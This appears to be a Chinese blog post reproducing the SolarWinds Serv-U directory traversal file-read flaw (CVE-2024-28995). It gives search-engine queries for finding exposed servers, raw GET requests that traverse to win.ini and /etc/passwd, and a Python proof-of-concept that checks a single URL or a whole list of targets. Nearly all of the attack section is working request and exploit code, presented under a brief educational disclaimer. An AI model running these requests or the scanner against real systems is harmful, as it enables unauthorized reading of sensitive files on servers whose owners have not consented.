• 【漏洞复现】SolarWinds——任意文件读取


    声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


    漏洞描述

    SolarWinds其Serv-UFTP服务存在目录遍历导致任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件。

    漏洞复现

    1)信息收集
    fofa:body="http://www.Serv-U.com"
    hunter:web.body="http://www.Serv-U.com"
    在这里插入图片描述
    每一个日出,都是新的希望;每一个日落,都是新的期待。保持积极,珍惜当下,每一天都是满满的正能量!
    在这里插入图片描述
    2)构造数据包
    Windows服务器

    GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1
    Host: ip
    

    Linux服务器

    GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.1
    Host: ip
    

    在这里插入图片描述
    例子为Windows服务器,响应包打印了win.ini,验证存在任意文件读取漏洞。

    代码解释:

    • InternalDir 表示内部目录,这里使用了多次的父目录引用(../)../../../../windows 表示从当前目录开始,向上跳转四次,然后进入Windows系统目录。
    • InternalFile=win.ini 表示尝试读取的文件名,这里是 win.ini,这是一个Windows操作系统的配置文件,其中可能包含敏感信息。

    测试工具

    poc

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    # 导入requests库,用于发送HTTP请求
    import requests
    # 导入argparse库,用于解析命令行参数
    import argparse
    # 导入异常处理模块
    from requests.exceptions import RequestException
    # 导入urllib3库的异常处理模块
    from urllib3.exceptions import InsecureRequestWarning
    
    # 定义打印颜色常量
    RED = '\033[91m'  # 红色
    RESET = '\033[0m'  # 重置颜色
    
    # 禁用不安全请求警告,避免在请求HTTPS时提示不安全警告
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    
    # 定义检查漏洞的函数
    def check_vulnerability(url):
        try:
            # 去除URL末尾的斜杠,并构建攻击URL,尝试读取敏感文件
            attack_url = url.rstrip('/') + "/?InternalDir=%5C%2e%2e%5C%2e%2e%5C%2e%2e%5C%2e%2e%5Cetc&InternalFile=passwd"
            attack_url2 = url.rstrip('/') + "/?InternalDir=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows&InternalFile=win.ini"
            
            # 发送GET请求到攻击URL,不验证SSL证书,超时时间设置为10秒
            response = requests.get(attack_url, verify=False, timeout=10)
            response2 = requests.get(attack_url2, verify=False, timeout=10)
            
            # 初始化漏洞发现标志为False
            vulnerability_found = False
            
            # 检查响应状态码和响应体中的关键字,判断是否存在漏洞
            if response.status_code == 200 and 'root' in response.text:
                vulnerability_found = True
            elif response2.status_code == 200 and 'fonts' in response2.text:
                vulnerability_found = True
    
            # 根据漏洞发现情况打印不同信息
            if vulnerability_found:
                print(f"{RED}URL [{url}] SolarWinds Serv-U 目录遍历导致任意文件读取(CVE-2024-28995)。{RESET}")
            else:
                print(f"URL [{url}] 未发现漏洞。")
        except RequestException as e:
            # 打印请求失败的信息
            print(f"URL [{url}] 请求失败: {e}")
    
    # 定义主函数,用于解析命令行参数并调用检查函数
    def main():
        # 创建ArgumentParser对象
        parser = argparse.ArgumentParser(description='检查目标URL是否存在SolarWinds Serv-U 目录遍历导致任意文件读取(CVE-2024-28995)。')
        # 添加命令行参数,用于指定目标URL
        parser.add_argument('-u', '--url', help='指定目标URL')
        # 添加命令行参数,用于指定包含多个目标URL的文本文件
        parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')
    
        # 解析命令行参数
        args = parser.parse_args()
    
        # 如果指定了URL,则检查该URL
        if args.url:
            # 如果URL未以http://或https://开头,则添加http://前缀
            args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
            check_vulnerability(args.url)
        # 如果指定了文件,则逐行读取文件中的URL并检查
        elif args.file:
            with open(args.file, 'r') as file:
                urls = file.read().splitlines()
                for url in urls:
                    url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                    check_vulnerability(url)
    
    # 程序入口点
    if __name__ == '__main__':
        main()
    

    运行截图
    在这里插入图片描述

  • 相关阅读:
    pytest setup与用例之间传参
    基于Java的企业人事管理系统设计与实现(源码+lw+ppt+部署文档+视频讲解等)
    Google Earth Engine APP——全球内陆水分布的APP展示
    【WMWare 克隆CentOS虚拟机 】解决克隆后 ip 冲突 & 主机名重复问题
    Qt实战案例(56)——利用QProcess实现应用程序重启功能
    一、Docker Compose——什么是 Docker Compose
    Zip密码忘记了,如何破解密码?
    Android Studio实现内容丰富的安卓房屋出租租赁平台
    基于MUSIC算法的二维超声波成像matlab仿真
    详解API基础知识
  • 原文地址:https://blog.csdn.net/LongL_GuYu/article/details/140047368